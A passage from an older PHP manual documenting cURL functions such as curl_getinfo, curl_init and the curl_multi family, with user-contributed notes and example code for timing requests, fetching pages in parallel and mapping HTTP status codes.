  • CURLINFO_TOTAL_TIME - Total transaction time in seconds for last transfer
  • CURLINFO_NAMELOOKUP_TIME - Time in seconds until name resolving was complete
  • CURLINFO_CONNECT_TIME - Time in seconds it took to establish the connection
  • CURLINFO_PRETRANSFER_TIME - Time in seconds from start until just before file transfer begins
  • CURLINFO_STARTTRANSFER_TIME - Time in seconds until the first byte is about to be transferred
  • CURLINFO_REDIRECT_TIME - Time in seconds of all redirection steps before final transaction was started
  • CURLINFO_SIZE_UPLOAD - Total number of bytes uploaded
  • CURLINFO_SIZE_DOWNLOAD - Total number of bytes downloaded
  • CURLINFO_SPEED_DOWNLOAD - Average download speed
  • CURLINFO_SPEED_UPLOAD - Average upload speed
  • CURLINFO_HEADER_SIZE - Total size of all headers received
  • CURLINFO_HEADER_OUT - The request string sent. For this to work, add the CURLINFO_HEADER_OUT option to the handle by calling curl_setopt()
  • CURLINFO_REQUEST_SIZE - Total size of issued requests, currently only for HTTP requests
  • CURLINFO_SSL_VERIFYRESULT - Result of SSL certification verification requested by setting CURLOPT_SSL_VERIFYPEER
  • CURLINFO_CONTENT_LENGTH_DOWNLOAD - content-length of download, read from Content-Length: field
  • CURLINFO_CONTENT_LENGTH_UPLOAD - Specified size of upload
  • CURLINFO_CONTENT_TYPE - Content-Type: of the requested document, NULL indicates server did not send valid Content-Type: header

Return Values

If opt is given, returns its value as a string. Otherwise, returns an associative array with the following elements (which correspond to opt), or FALSE on failure:

  • "url"
  • "content_type"
  • "http_code"
  • "header_size"
  • "request_size"
  • "filetime"
  • "ssl_verify_result"
  • "redirect_count"
  • "total_time"
  • "namelookup_time"
  • "connect_time"
  • "pretransfer_time"
  • "size_upload"
  • "size_download"
  • "speed_download"
  • "speed_upload"
  • "download_content_length"
  • "upload_content_length"
  • "starttransfer_time"
  • "redirect_time"
  • "certinfo"
  • "request_header" (This is only set if the CURLINFO_HEADER_OUT is set by a previous call to curl_setopt())

Changelog

Version | Description
5.1.3 | Introduced CURLINFO_HEADER_OUT.

Examples

Example #1 curl_getinfo() example

<?php
// Create a curl handle
$ch = curl_init('http://www.yahoo.com/');

// Execute
curl_exec($ch);

// Check if any error occured
if(!curl_errno($ch))
{
 $info = curl_getinfo($ch);

 echo 'Took ' . $info['total_time'] . ' seconds to send a request to ' . $info['url'];
}

// Close handle
curl_close($ch);
?>

Notes

Note:

Information gathered by this function is kept if the handle is re-used. This means that unless a statistic is overridden internally by this function, the previous info is returned.

User Contributed Notes

vince 22-Oct-2010 04:56
CURLINFO_HTTP_CODE does not return a string, as the docs say, but rather an integer.

<?php
    $c = curl_init('http://www.example.com/');
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === '200') echo "CURLINFO_HTTP_CODE returns a string.";
    if(curl_getinfo($c, CURLINFO_HTTP_CODE) === 200) echo "CURLINFO_HTTP_CODE returns an integer.";
    curl_close($c);
?>

returns

"CURLINFO_HTTP_CODE returns an integer."
Anonymous 20-Jul-2010 02:53
The main doc neglects to mention that when the CURLINFO_HEADER_OUT option is set the array returned by this function will included a new property, request_header, that is a string of the headers sent in the request.
raghuveer at spiderace dot com 23-Oct-2008 05:47
A code snippet that I had attempted to enumerate the Remote File Size and to post Amount of Time taken for that particular Curl Request.

<?php

/* borrowed the Byte Conversion code (byte_convert function) posted by "olafurw at gmail.com" and modified by "d.abromeit" in http://in.php.net/filesize. I did make changes in the notation of expression of multiples of bytes from KiB => KB, MiB => MB etc all symbols in this Byte Code*/

  function byte_convert($bytes)
  {
    $symbol = array('B', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB');

    $exp = 0;
    $converted_value = 0;
    if( $bytes > 0 )
    {
      $exp = floor( log($bytes)/log(1024) );
      $converted_value = ( $bytes/pow(1024,floor($exp)) );
    }

    return sprintf( '%.2f '.$symbol[$exp], $converted_value );
  }

   $userAgent = 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)';
   $url = 'http://www.spiderace.com/samplefiles/testfile.zip';

    // initialize curl with given url
    $ch = curl_init($url);
    // make sure we get the header
    curl_setopt($ch, CURLOPT_HEADER, 1);
    // make it a http HEAD request
    curl_setopt($ch, CURLOPT_NOBODY, 1);
    // add useragent
    curl_setopt($ch, CURLOPT_USERAGENT, $userAgent);
    //Tell curl to write the response to a variable
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    // The maximum number of seconds to allow cURL functions to execute.
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,60);
    // Tell curl to stop when it encounters an error
    curl_setopt($ch, CURLOPT_FAILONERROR, 1);

    $execute = curl_exec($ch);

    // Check if any error occured
    if(!curl_errno($ch))
    {
        $bytes = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
        // Display the File Size
        echo byte_convert($bytes);
        echo "<br><br>";
        $total_time = curl_getinfo($ch, CURLINFO_TOTAL_TIME);
        echo 'Took ' . $total_time . ' seconds to send a request to ' . $url;
        clearstatcache();
    }
    curl_close($ch);

?>

NOTE: This code worked on Both Linux (tried on CentOS) & Windows Servers (tried on XAMPP For Windows on Windows XP PC), thank you. Hope this will be helpful to others as well.
master-No-sp-aM at io dot ua 17-Jul-2008 12:40
CURLINFO_CONTENT_LENGTH_DOWNLOAD contains zero in FTP request although Content-Length field is present.

Following workaround may helps:

<?php
$ch = curl_init($url);
... CURL OPTIONS ...
$result=curl_exec($ch);
$pu=parse_url($url);
if($pu['scheme']=='ftp'){
    $regexp="/Content-Length: (\d*)/";
    preg_match($regexp,$result,$matches);
    $con_len=$matches[1];
}
else $con_len = curl_getinfo($ch, CURLINFO_CONTENT_LENGTH_DOWNLOAD);
?>

Its worth to keep using CURLINFO_CONTENT_LENGTH_DOWNLOAD in http requests, becouse there could be several headers pack if CURLOPT_FOLLOWLOCATION is fired, and regular expression for this case is a little bit complicated.
nemetral 17-Jun-2008 07:57
Just a quick note: if you want to use curl_getinfo() with option CURLINFO_HEADER_OUT in order to debug your cURL request, you must add curl_setopt($handle, CURLINFO_HEADER_OUT, true); first while specifying the options.
luiheidsgoeroe at hotmail dot com 04-Feb-2008 03:02
Keep in mind that for CURLOPT_RETURNTRANSFER it has to be set with curl_setopt() before execution:

This doesn't work:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>

This works:
<?php
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLINFO_HEADER_OUT, true);
curl_exec($ch);
var_dump(curl_getinfo($ch,CURLINFO_HEADER_OUT));
?>
Mark Evers 16-Jan-2008 10:14
There is a constant missing from that list.  CURLINFO_REDIRECT_COUNT will give you the number of redirects it went through if CURLOPT_FOLLOWLOCATION was set.
ssttoo at hotmail dot com 06-Apr-2004 12:13
Here are the response codes ready for pasting in an ini-style file. Can be used to provide more descriptive message, corresponding to 'http_code' index of the arrray returned by curl_getinfo().
These are taken from the W3 consortium HTTP/1.1: Status Code Definitions, found at
http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html

[Informational 1xx]
100="Continue"
101="Switching Protocols"

[Successful 2xx]
200="OK"
201="Created"
202="Accepted"
203="Non-Authoritative Information"
204="No Content"
205="Reset Content"
206="Partial Content"

[Redirection 3xx]
300="Multiple Choices"
301="Moved Permanently"
302="Found"
303="See Other"
304="Not Modified"
305="Use Proxy"
306="(Unused)"
307="Temporary Redirect"

[Client Error 4xx]
400="Bad Request"
401="Unauthorized"
402="Payment Required"
403="Forbidden"
404="Not Found"
405="Method Not Allowed"
406="Not Acceptable"
407="Proxy Authentication Required"
408="Request Timeout"
409="Conflict"
410="Gone"
411="Length Required"
412="Precondition Failed"
413="Request Entity Too Large"
414="Request-URI Too Long"
415="Unsupported Media Type"
416="Requested Range Not Satisfiable"
417="Expectation Failed"

[Server Error 5xx]
500="Internal Server Error"
501="Not Implemented"
502="Bad Gateway"
503="Service Unavailable"
504="Gateway Timeout"
505="HTTP Version Not Supported"

And an example usage:
<?php
$ch = curl_init(); // create cURL handle (ch)
if (!$ch) {
    die("Couldn't initialize a cURL handle");
}
// set some cURL options
$ret = curl_setopt($ch, CURLOPT_URL,            "http://mail.yahoo.com");
$ret = curl_setopt($ch, CURLOPT_HEADER,         1);
$ret = curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$ret = curl_setopt($ch, CURLOPT_RETURNTRANSFER, 0);
$ret = curl_setopt($ch, CURLOPT_TIMEOUT,        30);

// execute
$ret = curl_exec($ch);

if (empty($ret)) {
    // some kind of an error happened
    die(curl_error($ch));
    curl_close($ch); // close cURL handler
} else {
    $info = curl_getinfo($ch);
    curl_close($ch); // close cURL handler

    if (empty($info['http_code'])) {
            die("No HTTP code was returned");
    } else {
        // load the HTTP codes
        $http_codes = parse_ini_file("path/to/the/ini/file/I/pasted/above");

        // echo results
        echo "The server responded: <br />";
        echo $info['http_code'] . " " . $http_codes[$info['http_code']];
    }

}
?>
curl_exec
curl_init
cURL Functions


Initialize a cURL session

curl_getinfo
curl_multi_add_handle
cURL Functions
PHP Manual

curl_init

(PHP 4 >= 4.0.2, PHP 5)

curl_init — Initialize a cURL session

Description

resource curl_init ([ string $url = NULL ] )

Initializes a new session and return a cURL handle for use with the curl_setopt(), curl_exec(), and curl_close() functions.

Parameters

url

If provided, the CURLOPT_URL option will be set to its value. You can manually set this using the curl_setopt() function.

Note:

The file protocol is disabled by cURL if open_basedir is set.

Return Values

Returns a cURL handle on success, FALSE on errors.

Examples

Example #1 Initializing a new cURL session and fetching a web page

<?php
// create a new cURL resource
$ch = curl_init();

// set URL and other appropriate options
curl_setopt($ch, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch, CURLOPT_HEADER, 0);

// grab URL and pass it to the browser
curl_exec($ch);

// close cURL resource, and free up system resources
curl_close($ch);
?>

See Also

  • curl_close() - Close a cURL session
  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

jharris at et2brut dot us 03-Dec-2010 02:20
Just to clarify:

Spaces in the URL need to be replaced with a %20.

Spaces in the querystring need to be replaced with a +
james at mettro dot com dot au 12-Oct-2010 11:05
Someone mentioned you may need to replace spaces with +.

This didn't work for me, I had to replace them with %20, eg:

<?php $url = str_replace(' ', '%20', $url); ?>
Brett 06-Jun-2009 01:25
Be careful when using spaces in the URL... make sure to replace them with + signs, otherwise it won't work.
rossixx at gmx dot net 25-Oct-2007 09:48
e.g. you can check how many characters are on test_1.php

or you can it use for more, i have used this function for a nagios check.

<?PHP
echo "CURL - function test <br>" ;
if ($load == 1){
function webcheck ($url) {
        $ch = curl_init ($url) ;
        curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1) ;
        $res = curl_exec ($ch) ;
        curl_close ($ch) ;
        return ($res) ;
}
echo "url = $url <br>" ;

$erg = webcheck("my_page.php/test_1.php") ;
$zahl = strlen ($erg) ;
echo "length = $zahl " ;
?>
ezyang at php dot net 23-Oct-2007 07:31
curl_init() has undefined behavior if you pass 'false' to it and can crash when you try to copy the resulting handle using curl_copy_handle(). Keep this in mind if you create a wrapper object for CURL.
darkstar_ae at hotmail dot com 24-May-2006 08:20
For some reason on some webservers it may not be able to understand what cURL is doing. If you're getting unexpected results (like getting no output when the URL is valid) while using curl_init(). Add a trailing slash '/' after the url if you haven't done so already.
ru dot dy at gmx dot net 02-Sep-2005 03:10
The curl-functions can be used to check the ICQ-webstatus from an icq-number, to get the status as a string rather than as one of those standard images provided from ICQ. This can also be used to place your own Image instead of simple text, to show ones online-status, of course if activated in the options. The idea behind is to get just the text from the apache-site that would lead us to the picture  that shows the online status. curl does not do any redirect, as long as we don't set CURLOPT_FOLLOWLOCATION. This is nice because the image can change, as long as the paths and filenames (contained in the site-text) don't. The different states are stored in a short array of unsigned crc-values.

<?php

class ICQ {

 var $crc = array('253889085' => 'offline', '1177883536' => 'online', '1182613274' => 'hidden');
//CRCs valid as long as the redirect-page does not change

 function getCrc($url) {
   $ch = curl_init();
   curl_setopt ($ch, CURLOPT_URL, $url);
   curl_setopt ($ch, CURLOPT_HEADER, 0);
   ob_start();
   curl_exec ($ch);
   curl_close ($ch);
   $cache = ob_get_contents();

   ob_end_clean();
   //print($cache);
   return (string)abs(crc32($cache));
 }

 function status($number) {
   $check = $this->getCrc( 'http://status.icq.com/online.gif?icq=' . $number . '&img=5');
   if (in_array($check, array_keys($this->crc))) {
     return $this->crc[$check];
   }
   return false;
 }

}
?>

Usage:

<?php
 $icq = new ICQ();
 print($icq->status('123456789'));
?>

Outputs 'online', 'offline' or 'hidden'.
José Enrique Serrano Expósito 04-Feb-2005 02:35
<?php
    vWritePageToFile( 'http://es.php.net', 'es.php.net.txt' );
?>
... And the text file stand in the server in the same folder that the script.
This is the function code.-
<?php
    function vWritePageToFile( $sHTMLpage, $sTxtfile ) {
     $sh =          curl_init( $sHTMLpage );
     $hFile =                       FOpen( $sTxtfile, 'w' );
     curl_setopt( $sh, CURLOPT_FILE, $hFile );
     curl_setopt( $sh, CURLOPT_HEADER, 0 );
     curl_exec  ( $sh );
     $sAverageSpeedDownload = curl_getInfo( $sh, CURLINFO_SPEED_DOWNLOAD );
     $sAverageSpeedUpload   = curl_getInfo( $sh, CURLINFO_SPEED_UPLOAD );
     echo '<pre>';
     echo 'Average speed download == ' . $sAverageSpeedDownload . '<br>';
     echo 'Average Speed upload    == ' . $sAverageSpeedUpload   . '<br>';
     echo '<br>';
     $aCURLinfo = curl_getInfo( $sh );
     print_r( $aCURLinfo );
     echo '</pre>';
     curl_close(  $sh );
     FClose    (  $hFile );
     echo '(<b>See the file  "'.$sTxtfile.'"  in the same path of the hosting'.
          ' to where this script PHP</b>).<br>';
    }
?>
curl_getinfo
curl_multi_add_handle
cURL Functions


Add a normal cURL handle to a cURL multi handle

curl_init
curl_multi_close
cURL Functions
PHP Manual

curl_multi_add_handle

(PHP 5)

curl_multi_add_handle — Add a normal cURL handle to a cURL multi handle

Description

int curl_multi_add_handle ( resource $mh , resource $ch )

Adds the ch handle to the multi handle mh

Parameters

mh

A cURL multi handle returned by curl_multi_init().

ch

A cURL handle returned by curl_init().

Return Values

Returns 0 on success, or one of the CURLM_XXX errors code.

Examples

Example #1 curl_multi_add_handle() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$running=null;
//execute the handles
do {
    curl_multi_exec($mh,$running);
} while($running > 0);

//close all the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);
?>

See Also

  • curl_multi_remove_handle() - Remove a multi handle from a set of cURL handles
  • curl_multi_init() - Returns a new cURL multi handle
  • curl_init() - Initialize a cURL session

User Contributed Notes

There are no user contributed notes for this page.
curl_init
curl_multi_close
cURL Functions


Close a set of cURL handles

curl_multi_add_handle
curl_multi_exec
cURL Functions
PHP Manual

curl_multi_close

(PHP 5)

curl_multi_close — Close a set of cURL handles

Description

void curl_multi_close ( resource $mh )

Closes a set of cURL handles.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

Return Values

No value is returned.

Examples

Example #1 curl_multi_close() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://www.example.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$running=null;
//execute the handles
do {
    curl_multi_exec($mh,$running);
} while ($running > 0);

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_multi_init() - Returns a new cURL multi handle
  • curl_close() - Close a cURL session

User Contributed Notes

jonhohle at gmail dot com 08-Sep-2008 01:58
curl_multi_close seems to close the curl_multi handle, but not each of the individual curl handles. at least in the PHP 5.3 development build I am using, these each need to be closed manually.

I would recommend the final lines of this example be updated to:

<?php
//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_close($ch1);
curl_multi_remove_handle($mh, $ch2);
curl_close($ch2);
curl_multi_close($mh);
?>
curl_multi_add_handle
curl_multi_exec
cURL Functions


Run the sub-connections of the current cURL handle

curl_multi_close
curl_multi_getcontent
cURL Functions
PHP Manual

curl_multi_exec

(PHP 5)

curl_multi_exec — Run the sub-connections of the current cURL handle

Description

int curl_multi_exec ( resource $mh , int &$still_running )

Processes each of the handles in the stack. This method can be called whether or not a handle needs to read or write data.

Parameters

mh

A cURL multi handle returned by curl_multi_init().

still_running

A reference to a flag to tell whether the operations are still running.

Return Values

A cURL code defined in the cURL Predefined Constants.

Note:

This only returns errors regarding the whole multi stack. There might still have occurred problems on individual transfers even when this function returns CURLM_OK.

Examples

Example #1 curl_multi_exec() example

This example will create two cURL handles, add them to a multi handle, and then run them in parallel.

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://lxr.php.net/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$active = null;
//execute the handles
do {
    $mrc = curl_multi_exec($mh, $active);
} while ($mrc == CURLM_CALL_MULTI_PERFORM);

while ($active && $mrc == CURLM_OK) {
    if (curl_multi_select($mh) != -1) {
        do {
            $mrc = curl_multi_exec($mh, $active);
        } while ($mrc == CURLM_CALL_MULTI_PERFORM);
    }
}

//close the handles
curl_multi_remove_handle($mh, $ch1);
curl_multi_remove_handle($mh, $ch2);
curl_multi_close($mh);

?>

See Also

  • curl_multi_init() - Returns a new cURL multi handle
  • curl_multi_select() - Wait for activity on any curl_multi connection
  • curl_exec() - Perform a cURL session

User Contributed Notes

gnuffo1 at gmail dot com 11-Dec-2010 08:02
Make sure you always remove the individual curl handles from the multi handle. For a CLI script I wrote that fetched the same pages over and over again every few seconds, I had originally omitted doing this, not even realising I had done so. It worked perfectly on my Windows 7 box. However, on my CentOS server, after about 45 seconds, the script kept dying with absolutely no warnings or errors. After hours of debugging I finally realised I wasn't removing the handles from the multi handle and lo and behold, it fixed it.
zhongeren at gmail dot com 19-Sep-2010 07:55
download all the images given in the URL array in parallel !!

<?php
/**
 *
 *@param $picsArr Array [0]=> [url],
 *@$picsArr Array will filled with the image data ， you can use the data as you want or just save it in the next step.
 **/

function getAllPics(&$picsArr){

        if(count($picsArr)<=0) return false;

        $hArr = array();//handle array

        foreach($picsArr as $k=>$pic){

                $h = curl_init();
                curl_setopt($h,CURLOPT_URL,$pic['url']);
                curl_setopt($h,CURLOPT_HEADER,0);
                curl_setopt($h,CURLOPT_RETURNTRANSFER,1);//return the image value

                array_push($hArr,$h);
        }

        $mh = curl_multi_init();
        foreach($hArr as $k => $h)      curl_multi_add_handle($mh,$h);

        $running = null;
        do{
                curl_multi_exec($mh,$running);
        }while($running > 0);

        // get the result and save it in the result ARRAY
        foreach($hArr as $k => $h){
                $picsArr[$k]['data'] = curl_multi_getcontent($h);
        }

        //close all the connections
        foreach($hArr as $k => $h){
                $info = curl_getinfo($h);
                preg_match("/^image\/(.*)$/",$info['content_type'],$matches);
                echo $tail = $matches[1];
                curl_multi_remove_handle($mh,$h);
        }
        curl_multi_close($mh);

        return true;
}
?>
dirkwybe at gmail dot com 12-Dec-2009 01:50
If you have problems with client timeouts (browser, wget) - like I did - add some keep alive code.

<?php
 $locations = array(
 "file1" => "[url here]",
 "file2" => "[url here]",
 "file3" => "[url here]",
 "file4" => "[url here]"
 );

$mh = curl_multi_init();
$threads = null;
foreach ($locations as $name => $url)
{
        $c[$name]=curl_init($url);
        $f[$name]=fopen ($name.".xml", "w");
        curl_setopt ($c[$name], CURLOPT_FILE, $f[$name]);
        curl_setopt ($c[$name], CURLOPT_TIMEOUT,600);
        curl_multi_add_handle ($mh,$c[$name]);
}

$t1 = time();

do
{
    $n=curl_multi_exec($mh,$threads);
    if (time() > $t1 + 2)
    {
        echo "keep-alive" ."<br/>";
        $t1 = time();
    }
}
while ($threads > 0);

foreach ($locations as $name => $url)
{
    curl_multi_remove_handle($mh,$c[$name]);
    curl_close($c[$name]);
    fclose ($f[$name]);
}
curl_multi_close($mh);

?>
jakob dot voss at gbv dot de 14-Feb-2009 05:10
With the current examples using curl-multi-exec is still not much better then just using file_get_contents. Your script has to needlessly wait at least the maximum of all connection times (instead of the sum). A better solution would be to run the connections as another thread in parallel to other parts of the script:

<?php
$cm = new CurlManager();
$handle1 = $cm->register($url1);
$handle2 = $cm->register($url2);

$cm->start();  # start connections

$result1 = $cm->result($handle1); # surely NULL because connection has not been finished

sleep($seconds); # do something else (including use of other CurlManagers!)

$result1 = $cm->result($handle1); # maybe NULL if connection takes longer then $seconds

$cm->finish(); # wait if some connections are still open

$result1 = $cm->result($handle1);
$result2 = $cm->result($handle2);
?>

But I am not sure whether such a CurlManger is possible, especially if you may want to use multiple of them (for instance because some URLs are not known at the start of the script). It's a pain that PHP does not support real threads.
jorge dot hebrard at gmail dot com 24-Jan-2009 09:40
Based on the below comments, I made a simple class.
See note below code.

<?php
/**
* Multiple Curl Handlers
* @author Jorge Hebrard ( jorge.hebrard@gmail.com )
**/
class curlNode{
    static private $listenerList;
    private $callback;
    public function __construct($url){
        $new =& self::$listenerList[];
        $new['url'] = $url;
        $this->callback =& $new;
    }
    /**
    * Callbacks needs 3 parameters: $url, $html (data of the url), and $lag (execution time)
    **/
    public function addListener($callback){
        $this->callback['callback'] = $callback;
    }
    /**
    * curl_setopt() wrapper. Enjoy!
    **/
    public function setOpt($key,$value){
        $this->callback['opt'][$key] = $value;
    }
    /**
    * Request all the created curlNode objects, and invoke associated callbacks.
    **/
    static public function request(){

        //create the multiple cURL handle
        $mh = curl_multi_init();

        $running=null;

        # Setup all curl handles
        # Loop through each created curlNode object.
        foreach(self::$listenerList as &$listener){
            $url = $listener['url'];
            $current =& $ch[];

            # Init curl and set default options.
            # This can be improved by creating
            $current = curl_init();

            curl_setopt($current, CURLOPT_URL, $url);
            # Since we don't want to display multiple pages in a single php file, do we?
            curl_setopt($current, CURLOPT_HEADER, 0);
            curl_setopt($current, CURLOPT_RETURNTRANSFER, 1);

            # Set defined options, set through curlNode->setOpt();
            if (isset($listener['opt'])){
                foreach($listener['opt'] as $key => $value){
                    curl_setopt($current, $key, $value);
                }
            }

            curl_multi_add_handle($mh,$current);

            $listener['handle'] = $current;
            $listener['start'] = microtime(1);
        } unset($listener);

        # Main loop execution
        do {
            # Exec until there's no more data in this iteration.
            # This function has a bug, it
            while(($execrun = curl_multi_exec($mh, $running)) == CURLM_CALL_MULTI_PERFORM);
            if($execrun != CURLM_OK) break; # This should never happen. Optional line.

            # Get information about the handle that just finished the work.
            while($done = curl_multi_info_read($mh)) {
                # Call the associated listener
                foreach(self::$listenerList as $listener){
                    # Strict compare handles.
                    if ($listener['handle'] === $done['handle']) {
                        # Get content
                        $html = curl_multi_getcontent($done['handle']);
                        # Call the callback.
                        call_user_func($listener['callback'],
                        $listener['url'],
                        $html,(microtime(1)-$listener['start']));
                        # Remove unnecesary handle (optional, script works without it).
                        curl_multi_remove_handle($mh, $done['handle']);
                    }
                }

            }
            # Required, or else we would end up with a endless loop.
            # Without it, even when the connections are over, this script keeps running.
            if (!$running) break;

            # I don't know what these lines do, but they are required for the script to work.
            while (($res = curl_multi_select($mh)) === 0);
            if ($res === false) break; # Select error, should never happen.
        } while (true);

        # Finish out our script ;)
        curl_multi_close($mh);

    }
}
$curlGoogle = new curlNode('http://www.google.com/');
$curlGoogle->setOpt(CURLOPT_HEADER, 0);
$curlGoogle->addListener('callbackGoogle');

$curlMySpace = new curlNode('http://www.myspace.com/');
$curlMySpace->addListener('callbackMySpace');

curlNode::request();
?>

NOTE: I think curl has a bug managing local files, when multiple handles are set.
I tested with a local file, giving me 0.1~ sec. latency.
Then I added another handle, google. With this new addition, my original file had a latency of 1.0~ sec. latency!!
But with external sites (try Yahoo and Google), the latency is not a problem. Google alone gives me 1.7~ sec. latency, and with Yahoo, Google gives me 1.8~ sec. latency.

If anyone can explain, I will be very granted.
manixrock-~-gmail-~-com 07-Dec-2008 03:13
For anyone trying to dynamically add links to mcurl and removing them as they complete (for example to keep a constant of 5 links downloading), I found that the following code works:

<?php
$mcurl = curl_multi_init();
for(;;) {
    curl_multi_select($mcurl);
    while(($mcRes = curl_multi_exec($mcurl, $mcActive)) == CURLM_CALL_MULTI_PERFORM);
    if($mcRes != CURLM_OK) break;
    while($done = curl_multi_info_read($mcurl)) {
        // code that parses, adds or removes links to mcurl
    }
    // here you should check if all the links are finished and break, or add new links to the loop
}
curl_multi_close($mcurl);
?>

You should note the return value of curl_multi_select() is ignored. I found that if you do the curl_multi_exec() loop only if the return value of curl_multi_select() is != -1 then new links added to mcurl are ignored. This may be a bug. Hope this saves someone some time.
Jimmy Ruska 13-Sep-2008 11:56
> replying to viczbk.ru

Just sharing my attempt at it.

> while (($res = curl_multi_select($mh)) === 0) {};
This worked on my windows computer (php 5.2.5) but when I ran the curl program in my new centOS server (php 5.1.6) the function never updates unless curl_multi_exec() is added to the loop, taking away the point of using it to save cycles. curl_multi_select() also allows you to set a timeout but it doesn't seem to help, then again, don't see why people wouldn't use it anyway.

Even when curl_multi_select($mh) does work there's no way to know which of the sockets updated in status or if they've received partial data, completely finished, or just timed out. It's not reliable if you want to remove / add data as soon as things finish. Try calling just example.com or some other website with very little data. curl_multi_select($mh) can send non 0 value a couple of thousand times before finishing. Lazily adding a usleep(25000) or some minimal amount can also help not waste cycles.
viczbk.ru 08-Feb-2008 08:04
http://curl.haxx.se/libcurl/c/libcurl-multi.html

"When you've added the handles you have for the moment (you can still add new ones at any time), you start the transfers by call curl_multi_perform(3).

curl_multi_perform(3) is asynchronous. It will only execute as little as possible and then return back control to your program. It is designed to never block. If it returns CURLM_CALL_MULTI_PERFORM you better call it again soon, as that is a signal that it still has local data to send or remote data to receive."

So it seems the loop in sample script should look this way:

<?php
$running=null;
//execute the handles
do {
    while (CURLM_CALL_MULTI_PERFORM === curl_multi_exec($mh, $running));
    if (!$running) break;
    while (($res = curl_multi_select($mh)) === 0) {};
    if ($res === false) {
        echo "<h1>select error</h1>";
        break;
    }
} while (true);
?>

This worked fine (PHP 5.2.5 @ FBSD 6.2) without running non-blocked loop and wasting CPU time.

However this seems to be the only use of curl_multi_select, coz there's no simple way to bind it with other PHP wrappers for select syscall.
robert dot reichel at boboton dot com 20-Oct-2007 05:54
I was testing PHP code provided by dtorop933@gmail.com in curl_multi_exec section of PHP Manual.

The part of the code '$err = curl_error($conn[$i])' should return error message for each cURL session, but it does not.
The function curl_error() works well with the curl_exec(). Is there any other solution for getting session error message with curl_multi_exec() or there is a bug in cURL library.

The script was tested with Windows XP and PHP-5.2.4
shichuanr at gmail dot com 06-Sep-2007 05:12
For people who have problem running the above example script(Example 425. curl_multi_exec()), you can alter it a little bit to make it work properly by replacing the existing chunk of code with the one below:

<?php
// create both cURL resources
$ch1 = curl_init();
$ch2 = curl_init();

// set URL and other appropriate options
curl_setopt($ch1, CURLOPT_URL, "http://www.google.com/");
curl_setopt($ch1, CURLOPT_HEADER, 0);
curl_setopt($ch2, CURLOPT_URL, "http://www.php.net/");
curl_setopt($ch2, CURLOPT_HEADER, 0);

//create the multiple cURL handle
$mh = curl_multi_init();

//add the two handles
curl_multi_add_handle($mh,$ch1);
curl_multi_add_handle($mh,$ch2);

$running=null;
//execute the handles
do {
    curl_multi_exec($mh,$running);
} while ($running > 0);
//close the handles
curl_multi_remove_handle($mh,$ch1);
curl_multi_remove_handle($mh,$ch1);
curl_multi_close($mh);

?>
substr(&#34;iscampifriese&#34;,1,11) dot &#34; at beer dot com&#34; 04-Jul-2007 06:10
If you are using mulit handles and you wish to re-execute any of them (if they timed out or something), then you need to remove the handles from the mulit-handle and then re-add them in order to get them to re-execute.  Otherwise cURL will just give you back the same results again without actually retrying.
curl_multi_close
curl_multi_getcontent
cURL Functions


Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

curl_multi_exec
curl_multi_info_read
cURL Functions
PHP Manual

curl_multi_getcontent

(PHP 5)

curl_multi_getcontent — Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set

Description

string curl_multi_getcontent ( resource $ch )

If CURLOPT_RETURNTRANSFER is an option that is set for a specific handle, then this function will return the content of that cURL handle in the form of a string.

Parameters

ch

A cURL handle returned by curl_init().

Return Values

Return the content of a cURL handle if CURLOPT_RETURNTRANSFER is set.

See Also

  • curl_multi_init() - Returns a new cURL multi handle

User Contributed Notes

jon at letsgetnuts dot com 20-Feb-2008 04:27
I felt like the docs could use a little more info on how to use curl_multi_getcontent, so I put this tutorial together:

